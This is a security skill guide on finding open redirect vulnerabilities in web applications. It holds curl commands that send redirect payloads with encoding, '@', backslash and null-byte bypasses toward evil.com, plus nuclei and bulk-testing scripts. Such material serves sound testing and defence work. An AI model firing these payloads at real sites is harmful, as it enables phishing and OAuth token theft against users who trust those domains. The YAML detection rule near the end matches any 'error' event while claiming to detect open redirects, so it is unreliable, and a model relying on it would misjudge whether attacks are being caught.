<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: detecting-open-redirect-vulnerabilities
description: >-
  Identify open redirect vulnerabilities in web applications where
  user-controlled input influences redirect destinations, enabling
  phishing, OAuth token theft, and SSRF chain attacks through URL
  parameter manipulation and encoding bypass techniques.
domain: cybersecurity
subdomain: application-security
tags:
  - open-redirect
  - url-redirect
  - phishing
  - owasp-a01
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1566.002", "T1204.001"]
  owasp-top10: ["A01"]
  tools: ["burpsuite", "curl", "nuclei", "gf"]
---

# Detecting Open Redirect Vulnerabilities

## Overview

Open redirects occur when applications use user-supplied input to construct
redirect URLs without proper validation. Attackers exploit these for
phishing (trusted domain in URL bar), OAuth token theft (redirect_uri
manipulation), and chaining with SSRF or XSS attacks.

## Prerequisites

- Tools: Burp Suite, curl, nuclei, gf (pattern extractor)
- Target URLs with redirect parameters
- Wordlist of redirect parameter names

## Workflow

### Step 1: Identify Redirect Parameters

```bash
# Common redirect parameter names
# url, redirect, next, return, rurl, dest, destination, redir,
# redirect_uri, return_to, go, checkout_url, continue, forward

# Extract URLs with redirect params from crawl data
gf redirect crawl_output.txt | sort -u > redirect_urls.txt

# Search for redirect patterns in source
curl -s https://target.com/ | grep -oE \
  '(url|redirect|next|return|dest|redir|forward)=[^"&]*'
```

### Step 2: Test Basic Redirects

```bash
# Direct external redirect
curl -s -D- -o /dev/null \
  "https://target.com/redirect?url=https://evil.com"

# Protocol-relative redirect
curl -s -D- -o /dev/null \
  "https://target.com/redirect?url=//evil.com"

# Backslash bypass
curl -s -D- -o /dev/null \
  "https://target.com/redirect?url=https://evil.com\\@target.com"
```

### Step 3: Encoding Bypass Techniques

```bash
# URL encoding
curl -s -D- -o /dev/null \
  "https://target.com/redirect?url=%68%74%74%70%73%3a%2f%2fevil.com"

# Double URL encoding
curl -s -D- -o /dev/null \
  "https://target.com/redirect?url=%252f%252fevil.com"

# @ symbol bypass
curl -s -D- -o /dev/null \
  "https://target.com/redirect?url=https://target.com@evil.com"

# Null byte bypass
curl -s -D- -o /dev/null \
  "https://target.com/redirect?url=https://evil.com%00.target.com"
```

### Step 4: Automated Scanning

```bash
# Nuclei open redirect templates
nuclei -u "https://target.com/redirect?url=FUZZ" \
  -t http/vulnerabilities/open-redirect/ -json

# Bulk test from wordlist
while read payload; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://target.com/redirect?url=$payload")
  if [ "$code" = "302" ] || [ "$code" = "301" ]; then
    loc=$(curl -s -D- -o /dev/null \
      "https://target.com/redirect?url=$payload" | grep -i location)
    echo "$payload -> $loc"
  fi
done < redirect_payloads.txt
```

## Detection Opportunities

| Signal | Source | Description |
|--------|--------|-------------|
| External domain in redirect | WAF logs | Location header pointing to non-whitelisted domain |
| Encoded redirect payloads | Access logs | URL-encoded redirect parameters |
| Redirect chain abuse | Proxy logs | Multiple redirects leading to external domain |

```yaml
title: Open Redirect Vulnerabilities Detection
id: cfbec09b-da4a-4a98-b906-9c60fba884ac
status: experimental
description: Detects suspicious activity related to detecting open redirect vulnerabilities techniques in application security context
logsource:
  category: application
  product: webserver
detection:
  selection:
    EventType: error
  condition: selection
level: medium
tags:
  - attack.t1566.002
  - attack.t1204.001
  - attack.initial_access
falsepositives:
  - Application security scanning tools during CI/CD pipeline execution
```

## Verification

- [ ] All redirect parameters identified and tested
- [ ] Encoding bypass techniques applied
- [ ] Redirect validated against allowlist (not blocklist)
- [ ] Impact assessed: phishing, OAuth theft, SSRF chain
- [ ] JavaScript-based redirects tested (window.location, meta refresh)

## References

- [OWASP Unvalidated Redirects](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)
- [PortSwigger Open Redirect](https://portswigger.net/kb/issues/00500100_open-redirection-reflected)
- [Open Redirect Payloads](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect)
